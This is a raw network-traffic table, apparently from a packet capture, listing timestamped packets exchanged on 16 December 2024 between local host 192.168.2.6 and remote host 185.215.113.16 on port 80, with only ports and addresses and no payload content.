Dec 16, 2024 15:02:21.562454939 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.562501907 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.562535048 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.562583923 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.563291073 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.563303947 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.563370943 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.564362049 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.564444065 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.564452887 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.564676046 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.565077066 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.565145969 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.565505981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.565701962 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.565932989 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.566076994 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.566205025 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.566257954 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.566874981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.566888094 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.567194939 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.567830086 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.568180084 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.568208933 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.568336010 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.568604946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.568670034 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.568942070 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.569232941 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.569542885 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.569555998 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.569611073 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.570439100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.570538998 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.570725918 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.570862055 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.571372032 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.571393967 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.571436882 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.571436882 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.572314024 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.572406054 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.573091984 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.573102951 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.573240042 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.573251963 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.574018002 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.574172974 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.574582100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.574721098 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.574881077 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.574892998 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.574949026 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.575695992 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.575786114 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.575942039 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.575999975 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.576706886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.576719046 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.576788902 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.577645063 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.577801943 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.578254938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.578365088 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.578417063 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.578428030 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.578557014 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.579341888 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.579355001 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.579524040 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.580208063 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.580276966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.580332994 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.580332994 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.581099987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.581213951 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.582043886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.582058907 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.582072020 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.582120895 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.582257032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.582830906 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.583756924 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.583770037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.583781958 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.583856106 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.583856106 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.584691048 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.584884882 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.585333109 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.585675955 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.585732937 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.585935116 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.586007118 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.586416006 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.586519003 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.587078094 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.587338924 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.587388039 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.587474108 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.587616920 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.587678909 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.588226080 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.588321924 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.588340998 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.588525057 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.589159966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.589246988 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.589251995 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.589771032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.590014935 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.590137959 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.590423107 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.590878010 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.590919018 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.591211081 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.591401100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.591474056 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.591741085 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.591758966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.591813087 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.591813087 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.592698097 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.593266964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.593360901 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.593558073 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.593655109 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.593666077 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.593928099 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.594444036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.594527006 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.594835997 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.595037937 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.595293999 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.595304966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.595347881 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.596244097 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.596323967 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.596921921 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.597213984 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.597301006 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.597311974 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.597383976 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.598226070 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.598238945 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.598309994 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.599324942 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.599425077 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.599613905 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.599725962 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.600135088 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.600421906 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.600495100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.600588083 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.601088047 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.601100922 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.601210117 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.602135897 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.602272034 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.602299929 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.602371931 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.602637053 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.602700949 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.602813959 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.603043079 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.603322983 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.603334904 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.603401899 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.604250908 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.605073929 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.605086088 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.605102062 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.605165005 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.605165005 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.605983019 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.606209040 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.606240988 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.606405020 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.606892109 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.607117891 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.607273102 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.607709885 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.753508091 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.753691912 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.753729105 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.753741980 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.753789902 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.754041910 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.754131079 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.754419088 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.754471064 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.754486084 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.754611969 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.755367041 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.755511999 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.755549908 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.755723953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.756217003 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.756237030 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.756289959 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.757136106 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.757292032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.757925987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.757940054 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.757977962 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.757983923 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.758164883 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.759363890 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.759701967 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.759715080 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.759886026 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.759917021 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.760016918 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.760780096 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.760792971 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.760875940 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.760875940 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.761629105 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.761735916 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.761782885 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.762543917 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.763236046 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.763251066 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.763263941 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.763297081 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.763334036 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.764163017 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.764174938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.764229059 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.765033960 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.765152931 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.765198946 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.765332937 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.766072035 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.766083002 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.766122103 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.766947031 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.767270088 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.767299891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.767409086 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.767723083 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.768219948 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.768254995 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.768318892 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.768702030 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.768763065 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.769516945 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.769529104 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.769540071 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.769593000 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.769593954 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.770401001 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.770467997 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.770549059 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.770601988 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.771265030 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.771327972 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.771627903 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.772154093 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.772397995 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.772409916 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.772455931 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.772455931 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.773103952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.773114920 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.773211002 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.773948908 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.773962021 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.774015903 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.775445938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.775684118 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.775716066 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.775727987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.775810003 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.775942087 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.776045084 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.776643038 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.776654005 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.776684999 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.776828051 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.777581930 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.777756929 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.778423071 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.778434992 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.778445959 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.778475046 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.778507948 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.779545069 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.779557943 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.779609919 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.780122042 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.780277014 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.781039000 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.781052113 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.781084061 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.781099081 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.781174898 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.781295061 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.781989098 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.782073021 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.782130003 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.782308102 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.782906055 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.782963037 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.783535957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.783585072 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.783736944 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.783749104 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.784054995 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.784578085 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.784667969 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.784734964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.784796953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.785413027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.785473108 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.786215067 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.786289930 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.786370039 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.786411047 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.787257910 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.787270069 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.787323952 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.787323952 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.787388086 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.787532091 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.788144112 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.788228035 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.788518906 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.788604975 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.789007902 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.789319992 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.789345026 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.789522886 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.789993048 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.790077925 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.790273905 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.790604115 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.790769100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.790899992 CET	49892	80	192.168.2.6	185.215.113.16
